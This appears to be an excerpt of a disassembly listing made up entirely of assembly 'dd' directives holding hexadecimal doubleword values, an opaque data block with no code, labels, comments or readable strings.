		dd 0E998D300h, 6F5F7567h, 89ADB07Dh, 84249290h,	8C308833h
		dd 0F8C64F00h, 0F3202982h, 0C0495526h, 23454042h, 0B93FA6CAh
		dd 9378814Dh, 4727DE24h, 5F80F862h, 0FE250FC0h,	21CB6600h
		dd 5340A096h, 854A0058h, 7FFC5627h, 0AD49CEEEh,	704C84h
		dd 1F8F4CF1h, 0C3DE321h, 120FC851h, 499DC21h, 2681E100h
		dd 0F8A3E5h, 886C9EDh, 0EF9897C1h, 3140612h, 4325C830h
		dd 11FE0045h, 7BAF1BDCh, 330097BCh, 37E6D576h, 0FB56A4DEh
		dd 20468852h, 83863861h, 48C8B024h, 7AC0104Bh, 22D81F34h
		dd 4944C025h, 0F2702DFCh, 63459409h, 0C90AA97h,	64C20D65h
		dd 23C623BAh, 0DF294900h, 36D52DFDh, 0CF380209h, 49588662h
		dd 0C23BA0E0h, 0B31BD207h, 0FE206BEEh, 0B21C5278h, 0A7CA30BCh
		dd 13ABA351h, 0C8C0812Ch, 76B7EE41h, 26370860h,	62044A33h
		dd 1CC472AEh, 0DCAB3E2Eh, 49272B44h, 22CA9441h,	24D20364h
		dd 900CF18Dh, 25B51C6Ah, 822432Ah, 910A1FCh, 33A0C463h
		dd 42C4D146h, 22441150h, 497CA862h, 1C4D4443h, 0F0987C94h
		dd 0E102FCE4h, 8572EB92h, 0BC8CE33h, 275DE5F4h,	81B0E088h
		dd 7C33542Ah, 5918E357h, 3E39F4A8h, 6B183F76h, 7BCBA08Bh
		dd 24F98030h, 23529000h, 32975A80h, 0F727204Ch,	0BF54B118h
		dd 28EDC551h, 0B198C1CEh, 885CA440h, 0DC8C2429h, 0E8C759E1h
		dd 0D54500AEh, 223E3705h, 0ACA9FD7Eh, 78921080h, 7FB70082h
		dd 39F23432h, 90012C74h, 8E38C358h, 0F477C07Ch,	17F59700h
		dd 6E835EB6h, 568B4CA8h, 7E48A14Dh, 0F0DC5C86h,	33E13780h
		dd 0D4008D04h, 87E0C6DEh, 94C98D7h, 0AAD08EB5h,	5E00B046h
		dd 7F5D95FAh, 16544288h, 22C212F0h, 3E205890h, 5DF33B34h
		dd 22D39CCEh, 7D20B39Ch, 309BFDBh, 0CE26ABF9h, 9CB810A0h
		dd 57186660h, 44B82556h, 2F0A42Ah, 0CF6A6E0Dh, 0B89838A8h
		dd 0A1C082CBh, 0EAB73EE9h, 55C738F0h, 48F8A193h, 3383BF10h
		dd 0A9095EB2h, 283922DDh, 313D7E17h, 15D426F8h,	80A6D8C4h
		dd 2E2C7B00h, 408631EAh, 1063022Eh, 19885579h, 10A5A9FBh
		dd 3B12734h, 37C37E0Eh,	98B477F3h, 0BB452A1Ch, 42F21C30h
		dd 0BB138157h, 1BCCF85Ah, 21A1D2CFh, 0CCB161F8h, 51008050h
		dd 1FB37FD0h, 43679C1h,	10B8B27Eh, 5108D0AEh, 0E90B057Ch
		dd 922A7D3Bh, 405C8824h, 78212512h, 56137B50h, 91993A88h
		dd 616C2117h, 9AD49C49h, 3D06664h, 6C3DCE41h, 0FCB061EAh
		dd 0AD009F6Fh, 0D2DAB1FDh, 89A4E714h, 9A5E0819h, 928D0934h
		dd 9464D588h, 60F14409h, 0B074882Ch, 11B1D062h,	435B1282h
		dd 1490F7F8h, 4DDF4A11h, 2A2E3CDDh, 0C6D6088h, 60A11BB2h
		dd 3AB110A3h, 18F09198h, 0B6AA2190h, 0C07ECB88h, 0E929AE69h
		dd 0E4A08006h, 0F9064BD4h, 0CA7E3D64h, 840D5C70h, 85FEB7C0h
		dd 83002470h, 467EE1FDh, 1490F6Eh, 0C361CE1Ch, 623D7D68h
		dd 0A96511A8h, 277F0171h, 0A353929Ch, 0D8804474h, 750061B8h
		dd 13032067h, 829D16F0h, 3BB20040h, 944EC94Eh, 2A8EA0E0h
		dd 0FC380698h, 0A000B2C6h, 122DB5D8h, 0C87D01E7h, 880ACFE0h
		dd 20705DBAh, 30CD3F12h, 84B80Ch, 0DD3F6A3h, 929B371Fh
		dd 7030D441h, 8A8C91B3h, 85ACA8E2h, 83354F10h, 69881573h
		dd 54043AECh, 4B472DBEh, 435B2B80h, 9C99DBh, 0F0B241D4h
		dd 7073B35Eh, 50F3461Ah, 66860A9h, 0BA3C40A0h, 2512A491h
		dd 23E1C98h, 7C06B53h, 5C422EC7h, 14988072h, 96FA0E02h
		dd 0C4A1B805h, 0BCDB3110h, 40BEFFB1h, 45B1D389h, 0BDD9F21Bh
		dd 7641DF71h, 53E00656h, 93690C75h, 0C561EBE6h,	0B298F20Bh
		dd 388C48F3h, 0D97104h,	62C9FB82h, 52483D73h, 1FA3EA00h
		dd 0FCB3912Bh, 9C7C5C27h, 0AA82B288h, 40CE1696h, 0C0F4F679h
		dd 0CA25C4ACh, 0A1024D21h, 8BA25FEDh, 1D04723Ch, 112A577Eh
		dd 0B20107ADh, 0C5D21E7Ah, 44244486h, 0F5FEA2B5h, 0DE23A90Bh
		dd 18F699h, 8D07622Fh, 203A4A63h, 5500F87Dh, 0A251FB40h
		dd 0F054EBF6h, 0C4033044h, 0E4B6FC08h, 6DB7500h, 0D60562CDh
		dd 300E6310h, 80072B8h,	786D3355h, 0CCF292D0h, 7A21DC40h
		dd 72D84E88h, 94B23BC1h, 0B3F56A00h, 0FA7E950Dh, 8F278CEh
		dd 1EB19163h, 0ED43C097h, 0C32EE3E7h, 0D183F40h, 39207336h
		dd 0B8220F42h, 3C8FB4Ch, 29FD4796h, 0E49001E2h,	618628CBh
		dd 5430BC69h, 0A101F570h, 8217740Ch, 0D1C45A26h, 5C110348h
		dd 0CAE9AE1Bh, 76731DC0h, 1C445701h, 0DBAFB5D6h, 5C4A0C8h
		dd 16371052h, 0B9C40E3h, 1BB46A8Bh, 52EC2939h, 0D5440ACh
		dd 605F4028h, 8090C455h, 0F4AE3511h, 28ABDFF2h,	743DB2h
		dd 83130B6Fh, 0D55DA656h, 67DD1200h, 0D96C27CAh, 7F2400E8h
		dd 58848369h, 0E419251Ah, 0FC716574h, 0E82F36D8h, 0A28B22BAh
		dd 10AA8081h, 74F7BC5h,	0F45324E9h, 746DA02Eh, 3763E15Ch
		dd 0E063C38h, 0D5A39189h, 0CAE70D40h, 8D159731h, 22C046A6h
		dd 28B80EC0h, 0F900D05Eh, 0A9C36D36h, 6E248403h, 1FA991Dh
		dd 2659A3E9h, 50752BAFh, 6084D1ACh, 11D3D0ABh, 3C0554CAh
		dd 0C25E8420h, 0A710095h, 0BA7408A0h, 271F479Ch, 0FC06DA9Eh
		dd 7E01C2Bh, 0D1154235h, 1646A0D6h, 19C0CE1Ah, 70F3498Dh
		dd 324801h, 90974B81h, 9560F8E9h, 3D121DF2h, 14406AE5h
		dd 0E7699368h, 357D06B6h, 38622816h, 21718A00h,	14B4326Bh
		dd 82E9006Fh, 46FAB931h, 8A156A20h, 11BC4F37h, 171577DAh
		dd 0F43ACC91h, 0E4AF2300h, 0B98112C3h, 80F0E96Fh, 0F3F03174h
		dd 482215C1h, 6A24D8FCh, 1541A640h, 90768856h, 3771308Ch
		dd 5277DDD8h, 1204113Ch, 0A4206374h, 0C42EDEBAh, 80F6CF49h
		dd 56647554h, 4CE421DEh, 415A2A88h, 254CAF7h, 3A048F3h
		dd 6331C0D3h, 0A5273F36h, 58C4C500h, 59F2EA4Fh,	0A48D01D5h
		dd 1AEED64Dh, 7C0D70B9h, 0BC7E3814h, 921785A8h,	0BB198043h
		dd 7B280A4h, 0D4232801h, 0F3757FACh, 0DD716981h, 8C829F34h
		dd 19D203F8h, 13C501A1h, 8BFF6AC9h, 3ACC3002h, 6105FEE0h
		dd 54EC88A8h, 6C105C12h, 43C8694h, 9D7000E1h, 1CC4B5AAh
		dd 806D759h, 0F9E93E79h, 325D4429h, 0FFFA048h, 0FB3FAF0Dh
		dd 9938B258h, 0F408FB94h, 64321781h, 0EC25AB00h, 8767DCD0h
		dd 0FE2B9906h, 4CD82FB9h, 29809CBEh, 0F05C166h,	5B97A091h
		dd 2A8701FFh, 0E82D74B3h, 0C15C0DE4h, 0ECCA0281h, 91E69691h
		dd 8183FAA8h, 9270ADD4h, 0DF3CA4C0h, 45AF752Ch,	615B0403h
		dd 0B00CCD99h, 12B040E4h, 4A83C0F0h, 408C3EBCh,	0B7A74066h
		dd 0FEC2F11Ch, 0E692AB40h, 62E9F69Ch, 62D7719Fh, 0B3B9CA00h
		dd 158C0065h, 325057F7h, 0B67BE907h, 2EB47202h,	6446D4D5h
		dd 6D1B00C0h, 0BAFB16DAh, 80A876BDh, 46009302h,	0FADDAD99h
		dd 0C812589h, 0C9F6A075h, 0F94D11D9h, 10493244h, 666048F7h
		dd 5C3C889Dh, 774CC1C0h, 9B333F69h, 1337835Ch, 3DF1EA1Bh
		dd 9390D85Bh, 1138B649h, 0BA16C48Eh, 175821D0h,	8DE450E4h
		dd 3CF002C3h, 4986EF01h, 2E0C2CFCh, 0E2DEBF01h,	0DF10F407h
		dd 9EF98367h, 36803823h, 9D893157h, 0BD18EA3Ah,	591A73Dh
		dd 0FD0600AEh, 87AF1263h, 6809F74Ch, 90673725h,	851B8E80h
		dd 68C32F03h, 0D4AFA89Ch, 0B9CE0074h, 652B0B01h, 372667C8h
		dd 81AB06Bh, 55FC49A1h,	0DC16E423h, 0A2D031F6h,	886022FAh
		dd 69788E0Dh, 0B20BBEC0h
		dd 8501EF0Ch, 2BE6D92Ah, 0C8640E67h, 80CD54B8h,	766804ABh
		dd 93E3843Ch, 591DF914h, 1D21A2Eh, 8B479A00h, 30FDEAC9h
		dd 0A8561693h, 0E8DC03BEh, 0C4C5D5h, 0CB3B8162h, 1F7E53CCh
		dd 0CE7AEB67h, 7F21FD48h, 52EF556Eh, 68AAF46Ch,	40A044F4h
		dd 0FEDAF89h, 0F20A0716h, 0D11E389Ah, 99F392B7h, 2C48C9A2h
		dd 0D054400Dh, 8F038D6Eh, 0E8F13707h, 0D9CFA082h, 0CE340FF5h
		dd 5FE17B6Ah, 2430AC0Eh, 801F49E8h, 9CAC364Ah, 0CF02501Fh
		dd 23553AECh, 63F2D393h, 4C0F00CCh, 0A0FF37E0h,	4E83BF29h
		dd 0EC988Ah, 6B4D421Ch,	0E884F0D1h, 0AF7F5CB2h,	0FDA7A309h
		dd 0B688919Dh, 0DCE0A611h, 9800C15Bh, 3F7D2680h, 3102D30Ah
		dd 0E4794634h, 0A03232h, 40ED6918h, 0B6D4EAh, 0BB39151Dh
		dd 0FBFA5B85h, 0D5B8F805h, 78C86E1Ah, 0D99009D1h, 7C904B4Fh
		dd 0F7389EDAh, 0E9F00160h, 0BE2DA3E3h, 320DE464h, 9295039h
		dd 0F0A04448h, 0F41374B9h, 92D43C20h, 4F8003FDh, 0B7627430h
		dd 343CA128h, 0C17B8D01h, 0FEDB9881h, 3CD9F455h, 3E2E86F0h
		dd 3850D77Bh, 10DD51BAh, 8876E800h, 85E27Ch, 0CC3D9203h
		dd 153122EBh, 0AB01F1E8h, 0BB96F9DAh, 4CD1B2FAh, 5E6060h
		dd 0AA1F66A0h, 0F1E9DEFBh, 31225430h, 87C712h, 0E1B050B5h
		dd 1D48159Dh, 6600C372h, 382AA17Bh, 0CBAAC4Eh, 0CB80C4EBh
		dd 0BE0E5338h, 0C05C9AC5h, 0F5190AA4h, 0E0A1F61Eh, 0B64205D5h
		dd 1FB23635h, 0E209150h, 9B796423h, 0CC33E150h,	7F6119B2h
		dd 8ABE5423h, 5D06401Eh, 4C250F2Bh, 53801194h, 0E3F49B2Eh
		dd 9538DD66h, 865A1830h, 711C4913h, 60CC5922h, 0E6DC6114h
		dd 0B03B909Bh, 2040304Bh, 0CF2BB91h, 0BE462152h, 0A031D629h
		dd 0DBB2F07Bh, 0C0B8A5E0h, 0BBC02859h, 1BE6BEFDh, 8D5E3C03h
		dd 0E7B3C4h, 0D1DA4E21h, 0F2C2593Fh, 4051A70Ch,	0F04B59BBh
		dd 0FA29C0E1h, 0E45BA934h, 4DD7B705h, 8C0EDC89h, 48AC4899h
		dd 88DA0D48h, 751ED020h, 18BD9E31h, 0A511357Ch,	36599E1Bh
		dd 9EB7A140h, 6F318Fh, 0CE9C3DB0h, 854F0709h, 2D88EA50h
		dd 787F88h, 69CD6EC3h, 0FDBEDACh, 680BB65h, 362C4400h
		dd 0AC541C4h, 905688FFh, 68DA608Ch, 0E4066F4Bh,	65352BEh
		dd 4D30059h, 87E80926h,	0AD12F714h, 44C8EA7h, 80B340F4h
		dd 0B9C0E6A5h, 0F604652Ah, 196FF401h, 567C533Ah, 83BFF375h
		dd 0ECEA2C2Eh, 89C75C41h, 22C88948h, 2C14352Ch,	49058C90h
		dd 4C508B02h, 2279F058h, 291F62DBh, 40463A23h, 0A5194642h
		dd 6048911Eh, 3800A386h, 3E68BB09h, 66FD0A2h, 0ACB16A17h
		dd 0E44431B8h, 2DEB0374h, 5339714Fh, 0A82C7900h, 83DB215Bh
		dd 1031C8EAh, 0AA3B00BDh, 6D15C879h, 2C9400E4h,	0D0027CACh
		dd 0B5E86A51h, 54F19563h, 0E4A1011Ah, 7286E6BBh, 23A0403Bh
		dd 18912767h, 7C141F14h, 94205D6Fh, 0F6631108h,	44F0F02Ah
		dd 0D5260F1Fh, 4C139EBBh, 0D2F3F100h, 5296B6B0h, 44008C54h
		dd 0A955BD68h, 48E91A79h, 0DAEE99A4h, 83934539h, 0CD88C3D9h
		dd 8A7698BFh, 49D8043Ah, 90AF711Fh, 605E2B58h, 9AD99600h
		dd 1A3A0B66h, 89216006h, 0C3F0488Bh, 0C08D201h,	88ECA810h
		dd 0CE02770h, 0C5A01C9Ch, 0E4024B91h, 838C3FE5h, 87F080D9h
		dd 2436985Ch, 3CE8E082h, 30B418AAh, 49612806h, 0C5734DD5h
		dd 0DBCCFC00h, 51BBE184h, 182C3321h, 249838D1h,	72B8DF3Bh
		dd 9929BF0Ah, 68B79CF5h, 467564C0h, 1A7E04FCh, 2213935Bh
		dd 0E0562065h, 9672C0F6h, 0B9550200h, 0D962B886h, 0E8370042h
		dd 6164B74Ch, 1551CE75h, 6F3DE4A8h, 3F03C8A4h, 0B0A45F0Bh
		dd 8D01B856h, 26889861h, 64A02D22h, 30C2385Dh, 8B18F86Dh
		dd 0A503C9ADh, 0A2BC3D4Fh, 0FBA91EDDh, 5C5545D4h, 32985206h
		dd 0D4A0AEBCh, 271107D0h, 7300577Fh, 0AF8943Ch,	713FE6AFh
		dd 0BEF0029Eh, 78DA218Dh, 19446C44h, 52160197h,	0B29CD45Bh
		dd 69E9C4E5h, 0DDF9A817h, 27C25800h, 7D11A14h, 0F1EDD4F3h
		dd 3A2AF184h, 30306226h, 4E4DD158h, 34A6007Fh, 0F99F0324h
		dd 201CC36Ch, 6558E7CBh, 0A68B48h, 9B3589F5h, 9A1EED19h
		dd 8FC9B16Fh, 3A4EE5E9h, 4404DC1Fh, 97041ADDh, 0F91C43E4h
		dd 0A031039Dh, 0BC4CECA4h, 2100E2ABh, 437A5C8Bh, 31A388h
		dd 0B1D91C93h, 5B20D5A4h, 9D249454h, 34C71284h,	0B36C41E9h
		dd 40226D43h, 0F43D4BB4h, 1DD34C3Bh, 26C7F242h,	869091E9h
		dd 5E51A1Ch, 0BB7B2CC7h, 35D820AAh, 0CD093DE7h,	3E37C5Bh
		dd 0BCC441h, 78112A69h,	0DE9F92DCh, 5500EFFCh, 1A52DB30h
		dd 164BC101h, 20C388E1h, 11B6B8A8h, 7C8CF600h, 44E53DB5h
		dd 15CE4DAh, 0B02D6952h, 308E78B8h, 71551E04h, 0B7DC40C8h
		dd 42587B52h, 841D3F2Fh, 0AD086F3Ch, 1B304091h,	9D05DA10h
		dd 60DEED02h, 40234E75h, 624C5B70h, 8B06D11Fh, 0E1BF3848h
		dd 6279A100h, 0CB3573F6h, 744B0422h, 809E1513h,	123E4592h
		dd 0B61430FDh, 0A46CAE2Ah, 0EE975A19h, 0DB41B251h, 1180B5B4h
		dd 0B90D5946h, 93017045h, 5FB6B7F2h, 432030Bh, 0E0D9F000h
		dd 5E23E14Dh, 63C0274h,	0A702F317h, 6E7B05DDh, 0A1F082A3h
		dd 1CE49025h, 28575CA8h, 0FA81C849h, 3FB763A1h,	0BF46F4C1h
		dd 83A91984h, 227CD1DCh, 1FE462DAh, 482ED5B2h, 0A88CFC60h
		dd 7733E70h, 4DCCDE80h,	0E065BBD2h, 10F7F890h, 75B8FDAh
		dd 9DD339DEh, 2013BEC3h, 805EE338h, 314EA701h, 1556EDD5h
		dd 0DD6DB0CFh, 4BF80790h, 5AA474A9h, 78FF08A8h,	0D8645824h
		dd 4A9D80AEh, 517180F9h, 2DB87400h, 13F87B12h, 0B9F50942h
		dd 3C13C38Eh, 0D06404A0h, 0B029AE00h, 0A4DD30B3h, 5FD600FFh
		dd 3F4C4E2Eh, 0D40B4358h, 90C4E6C6h, 0EB9F0C4h,	0DCCDC547h
		dd 0AFA019A0h, 547FFFD8h, 189A3A24h, 21E79762h,	86B2A41Ch
		dd 0E94C5A79h, 0F8202419h, 6A80BF54h, 0CE18683Ah, 39048ECBh
		dd 0D911AB1Fh, 0AD3104D0h, 94615823h, 91D71896h, 5D1CA82Dh
		dd 0F581CD7h, 8AE93B38h, 0E3A5A8C8h, 0F99C71C0h, 98945Fh
		dd 8969D716h, 8BAAEFF3h, 0A1ADC330h, 35F8D8Ch, 0A78EB0F2h
		dd 99C02A3Eh, 6001F67Ch, 0ADC8D98Bh, 0BC340545h, 8D2F12F4h
		dd 63A00EEAh, 0ED3A0091h, 758E07E2h, 0DD3C362Bh, 0F15D9820h
		dd 6D3E8098h, 0CF2FAC4h, 0DE5201E5h, 0CE81EF31h, 51FCC214h
		dd 8431852Fh, 692F44CAh, 6000647Ch, 888127CEh, 30850099h
		dd 0E32985Eh, 0AA0F37E2h, 0E63C60A4h, 391CA6h, 38D49435h
		dd 0AD6DA09Bh, 0FDBF5E0Fh, 29A6C0CEh, 92F499A7h, 187944F8h
		dd 7E095E00h, 24A310D5h, 0BCBC5CB9h, 2BAE1C8h, 24044382h
		dd 1212E305h, 886E2AC9h, 168C468Ch, 253B7439h, 0B4148164h
		dd 608612BDh, 0A25F686h, 75657B0Eh, 56E98080h, 6043D82Dh
		dd 0D7636400h, 851577BCh, 74910114h, 661B8AF4h,	0B134344Bh
		dd 59608090h, 1D3C65B1h, 72EC3EF9h, 0C09CE283h,	48C918FAh
		dd 0A900F701h, 564D30B9h, 321764Ah, 98FB99FFh, 3E907CD2h
		dd 44031650h, 0B5C73ADFh, 0A07A82DDh, 0D254DB94h, 41EE1BACh
		dd 0A5E0E9B4h, 0F60F665Bh, 94B2019Ch, 57F080E0h, 9E59D9h
		dd 34932760h, 1163AAC7h, 977A7C01h, 0A728A250h,	0A8076862h
		dd 32351CE3h, 30663222h, 90A690Bh, 0DD80833Ah, 0B7C2ADDEh
		dd 13F8E930h, 38F56110h, 5B803B0Fh, 0E124CEF7h,	66A4B45Ah
		dd 68599FDFh, 0DD0544h,	0EC887652h, 41C47A7Dh, 0ED479000h
		dd 5DF2E355h, 0B030A075h
		dd 0B491B4h, 18F5504Dh,	0F02838DBh, 0E884BCA2h,	0A58C3400h
		dd 97720AFAh, 0B00504B9h, 82AC201Dh, 0BB114FF0h, 7813180h
		dd 0AA0F4CE6h, 22A11200h, 0CA9A1B0Bh, 4CDC7747h, 0BE84D834h
		dd 0B70CC8Bh, 5D5E4900h, 4EB28D67h, 0F5C6058Ah,	81385226h
		dd 5CA5A09Fh, 83843ACCh, 0C839EB64h, 2EA7CB19h,	2A36C4h
		dd 434EB8Eh, 0C829B1B2h, 5B0280C6h, 4EF64A98h, 0CB990B98h
		dd 0A60FB768h, 0BC313861h, 1803286h, 29CBA0B3h,	0F9821A6Fh
		dd 0D1D2A491h, 0D9B820E3h, 85485ADBh, 0F88B878Ch, 7B5CB0F0h
		dd 0E8E201A2h, 8D98BB71h, 9079A4DCh, 0E055B743h, 0BDA2A9h
		dd 44625681h, 0AF77428Eh, 2394C451h, 0D2681FA0h, 0A7BE2FC7h
		dd 12DC90CBh, 74B7030Eh, 0C1FD6C8Bh, 0B9AF2388h, 18A73D18h
		dd 2624B371h, 4E7C791Eh, 5C9C2012h, 2A005A0Eh, 0E70F4636h
		dd 16DA21FCh, 43796B1h,	0B33224E7h, 341100F8h, 4C5348F8h
		dd 218904C9h, 0B4027C0Bh, 2300062Ch, 0DD5514DAh, 0E8D971F3h
		dd 5C460097h, 0FB6B90F1h, 880EEC73h, 223A4C7Ch,	0C4B43DEEh
		dd 0BE710040h, 0CE08D10Ah, 0CF39421Ah, 8901789Eh, 0A2DEE77Bh
		dd 4561BB7Ch, 0E4483198h, 3F00B483h, 9D896ED8h,	0B0EF2F31h
		dd 6F2A132Ch, 0A674DC53h, 31D12300h, 19D3337Dh,	5BCF17C1h
		dd 172800A8h, 0D1610462h, 0D6D99D0Ch, 94B448E8h, 0FADA803Ch
		dd 35D44E5Ah, 527E8F02h, 0C4261E21h, 0AE648018h, 9C1026C4h
		dd 5B003FABh, 47FB60Eh,	0E3052188h, 0D5A5D34Dh,	562DF0C0h
		dd 918B9829h, 24EB2CB8h, 52E244D4h, 0E0C86C0Fh,	17F27571h
		dd 3121188Bh, 3A382909h, 3C6F4B09h, 9744C86Eh, 6B0033Dh
		dd 0ECB9CA71h, 3B0AA827h, 76F8E0BCh, 83F45Bh, 0DDE8F98h
		dd 282F22C6h, 0C73F4600h, 6F3CFC2Dh, 91A4A4FFh,	0F980010h
		dd 10446425h, 4614F40Eh, 13DC20F3h, 28BEB21Ah, 5CD4B187h
		dd 8F80E065h, 0D58C5059h, 227C1B3Eh, 14BF003Bh,	0CB9D1595h
		dd 0F50076E9h, 1904AA28h, 1CD82C87h, 0C1B8B04Ch, 3DF33897h
		dd 0C3C24ECh, 49056803h, 2DC01DFh, 0A61D93A1h, 0BCE2D334h
		dd 40D4940Eh, 4A5E3D01h, 201C9433h, 8E05C318h, 8C5A8D7Ch
		dd 39DA6C40h, 4C520949h, 473D44Ch, 0F69D8837h, 2A28D1E9h
		dd 58E87263h, 40F6CFB8h, 179D9B6Bh, 7B3302E5h, 6F93B214h
		dd 0A1782443h, 0A6ED4817h, 19592C20h, 4177F5h, 85091D73h
		dd 0CDB4B7F0h, 700E21C0h, 1F11C704h, 80FF596Fh,	9885CF4Fh
		dd 0FBEA896Ah, 0A0659B2Dh, 0A964752Ch, 0BFA61C8Eh, 74B1C0D2h
		dd 0F3B76ABDh, 0EA1E9D18h, 0B26695C1h, 0C0309C08h, 0CE63F5E0h
		dd 0CB47A0Fh, 0E33A4311h, 96BCE06Eh, 0B64609B5h, 0C894A17Bh
		dd 0E928220h, 6DA968DDh, 3E48C7E1h, 39C62A7h, 11C515Dh
		dd 0E533C0D7h, 72A0FA57h, 0DF110075h, 78DEA31Fh, 0FA055D5Ah
		dd 8FE07458h, 2B8B6C40h, 0E8A48079h, 0FEAD00E7h, 0E092B2B6h
		dd 76053E3Fh, 6610CE42h, 0E1C89C89h, 0A204034Ah, 3A82D723h
		dd 0D8A01E82h, 76D67B7Eh, 8BEC9000h, 0CD102614h, 802702F2h
		dd 0D922E073h, 0A55CD4C4h, 6AC09DC0h, 0DADB332Ah, 318C00A2h
		dd 78E259Eh, 62F2841Bh,	100F937Eh, 0F33022E1h, 0E5E09830h
		dd 276E03C2h, 7B2B7D2Ch, 8C016DE0h, 87F900E9h, 0B2F4EAh
		dd 282542DCh, 1A55267Eh, 64862402h, 72A74CA5h, 464200F8h
		dd 0E0E4B125h, 10028617h, 89C7C385h, 5938C080h,	0EDA4187Bh
		dd 5CFA08B1h, 2915F201h, 3AAD4488h, 0E94B5430h,	44D289CEh
		dd 10D100E4h, 87915B4Fh, 0F600473Bh, 0D344E16Fh, 5827B57Bh
		dd 0C0DCF4E9h, 0CA674BFh, 0BC002FA0h, 1C568E50h, 7706A3DAh
		dd 314F24F1h, 219C8894h, 0E740C544h, 328918B0h,	4B0F510Fh
		dd 7C5B80F5h, 1E4F1Dh, 88384263h, 0E4A1BB94h, 9CA21C88h
		dd 8EC47F8h, 51DD00BCh,	0B96198B2h, 3DE00796h, 75455343h
		dd 8E3481E6h, 0E43D65h,	0F87B3ED5h, 198E00Dh, 7F3BFD63h
		dd 38E93375h, 0A31C14C0h, 0F8A43534h, 2215DC82h, 0ECD23823h
		dd 7B68F44Ch, 102DF096h, 728BE0h, 16DABFB0h, 0CB242641h
		dd 96B27C09h, 0C6B41065h, 8DA4073Dh, 9097D62Eh,	2DE4ED66h
		dd 0F420A500h, 0EA63EC41h, 6F5C1EF6h, 5C0AA56Ah, 709A6088h
		dd 530037F3h, 0A8432FCAh, 2662A941h, 0C0AC0920h, 119C0F76h
		dd 8381BC3Dh, 0E2225507h, 0A40D04Fh, 0B13A1942h, 40F1B9C3h
		dd 9550038Fh, 10E0832Dh, 1811850h, 0E54CF712h, 0C5F07DF4h
		dd 8AEFECDAh, 31A3D02h,	645C1F53h, 3E5A35A0h, 7B848081h
		dd 0E3002AD7h, 3A396E91h, 2C3CEAB8h, 0CFCE42Ch,	680227Dh
		dd 6089666Fh, 98FA49D5h, 0C40300E3h, 2AAB3307h,	1A0E6ECEh
		dd 0EA94E6C9h, 9868C460h, 3ED31280h, 0B097E4BFh, 775C0010h
		dd 12FF1C8h, 0BC90A6ABh, 6ED7AF16h, 1DF30C47h, 102D9B60h
		dd 978E242Fh, 5E411B4h,	42449E7Ah, 0DE6FB380h, 1658E6CAh
		dd 21D56229h, 2405549Ch, 603123CCh, 1E22917Ch, 95097429h
		dd 6404F48Eh, 480053E2h, 0E38AFE0Bh, 0C30D014Ch, 88EBE4FBh
		dd 0A2A045B6h, 0A67602D0h, 60D9E55Fh, 0F65DC98h, 9534D4FDh
		dd 0F400C58Fh, 5B1CBFD7h, 90271094h, 1ED4378h, 0AFF07588h
		dd 60D7EF8Bh, 33FB8A74h, 64D007C8h, 2111FEE7h, 0A2E849C7h
		dd 6E930EA0h, 4BF285EDh, 0C4E8B430h, 0C600DCACh, 0B33FB992h
		dd 177E63D9h, 20993D49h, 453E2938h, 27761E14h, 20A72D48h
		dd 0EA558344h, 9DFA30h,	0DF94CA38h, 0B1118D41h,	62430B00h
		dd 8EBC5206h, 4CA14CA5h, 45EA68C0h, 8F05445Eh, 9E83F4C0h
		dd 0F91094E7h, 0CA124A0h, 51583824h, 0CD75074Fh, 50777809h
		dd 1E32B0DDh, 91A15B27h, 0A90CA27Ch, 723810E9h,	0D4A404BCh
		dd 0A8B042F3h, 287BE074h, 83B701D2h, 0A5AFA8C9h, 0A58C57DCh
		dd 12E0A020h, 0CEAC988Ah, 0E23600A2h, 0B98699BEh, 410050D4h
		dd 5294C1B7h, 0B80B4D48h, 3A4C0078h, 21C48968h,	5100B381h
		dd 0A18F8BF0h, 78CE70BAh, 271D00ACh, 5861AB78h,	160E2A35h
		dd 803C1BFBh, 0E7FAC028h, 0FC920060h, 0EFCF8F3Ah, 8715990h
		dd 36127002h, 0C0500B2Ah, 61DEE122h, 0BC09391Dh, 2000D315h
		dd 0CBFD920Ah, 41FF2B37h, 6E74F098h, 0B84B300h,	0F30C4F18h
		dd 457E3889h, 726DFD00h, 9CB25794h, 58368003h, 1817E79Dh
		dd 59073238h, 5600D202h, 0B3D4C02Ch, 32B0941h, 0C79BD77Eh
		dd 697490FBh, 0C6C3A100h, 93640379h, 0E3BF06BAh, 491C231Ah
		dd 0D8BDCE00h, 0FED6C72Eh, 13F23E7Bh, 0E101528h, 0BFEEEC6Dh
		dd 76FC4C61h, 9A188511h, 9822C2A0h, 0B58B2709h,	5747C3C7h
		dd 0D73D25E0h, 9C2E0300h, 0FF2A0AA1h, 2B0B3152h, 11869340h
		dd 5840FEC8h, 7B64DBEAh, 809F002Bh, 76076F8Bh, 3401E651h
		dd 0E3491AC4h, 0B4480AD7h, 0D54A204h, 189508C0h, 7C006078h
		dd 0B7CF94C5h, 490C89AEh, 4108FAB8h, 0A4451356h, 0AF4D00F8h
		dd 70DB1F0Ah, 0A264CD01h, 8E752FDDh, 2D20E0BEh,	20D16A01h
		dd 0BD370C59h, 28048h, 0C60EEA9Eh, 6EC1F605h, 939D9100h
		dd 4899477h, 63267C4Dh,	9CBB91EFh, 0D6B1A900h, 0CE23991Bh
		dd 778B76A4h, 4FEA0907h, 0DA0053A8h, 0FE85928Ch, 31FC9600h
		dd 34DD7058h, 126200ACh, 3B2E630Eh, 336ED6E3h, 0C6C80A1h
		dd 0A989FBDFh, 0C8C310A8h, 191B5B66h, 1912E011h, 22FAF92Ah
		dd 0DB0B0058h, 0A7977C33h, 26FB3025h, 0D8B41E51h, 109E5A01h
		dd 6027A78h, 26C11E4h, 938696Ah, 342117F5h, 14E125B2h
		dd 0BA0B1196h, 3835A207h
		dd 93F0693Dh, 9C5E5487h, 88B32859h, 0E912EA0Ch,	402DB417h
		dd 1EA18519h, 0D43C0205h, 879FABB8h, 79A8208Eh,	79E6158Ch
		dd 0BCDA1E47h, 780F9DDh, 0D9375144h, 977F280h, 0E487A906h
		dd 301A9304h, 734183FEh, 0A8771D07h, 33550900h,	955B311Eh
		dd 0E1E3005Ah, 4AC9990Bh, 0B8003894h, 0D59F93CBh, 0DEA8A158h
		dd 2D854CF1h, 0DA0227C1h, 0B8D7E2C0h, 19544A3Ah, 77F00F8Ch
		dd 0D50E2C8Eh, 54BB0C73h, 0D2009BD1h, 0F2A4A064h, 0FE93595Ah
		dd 739F3EA6h, 0C9755D5Ch, 6010FB61h, 400B220h, 2274C0F8h
		dd 37AE277h, 4CCD1DA5h,	300C05BDh, 89D1FA11h, 2340B76Ch
		dd 5100358Bh, 1A59C5B4h, 7CDC1FAh, 0CB7D6781h, 68A2D9DAh
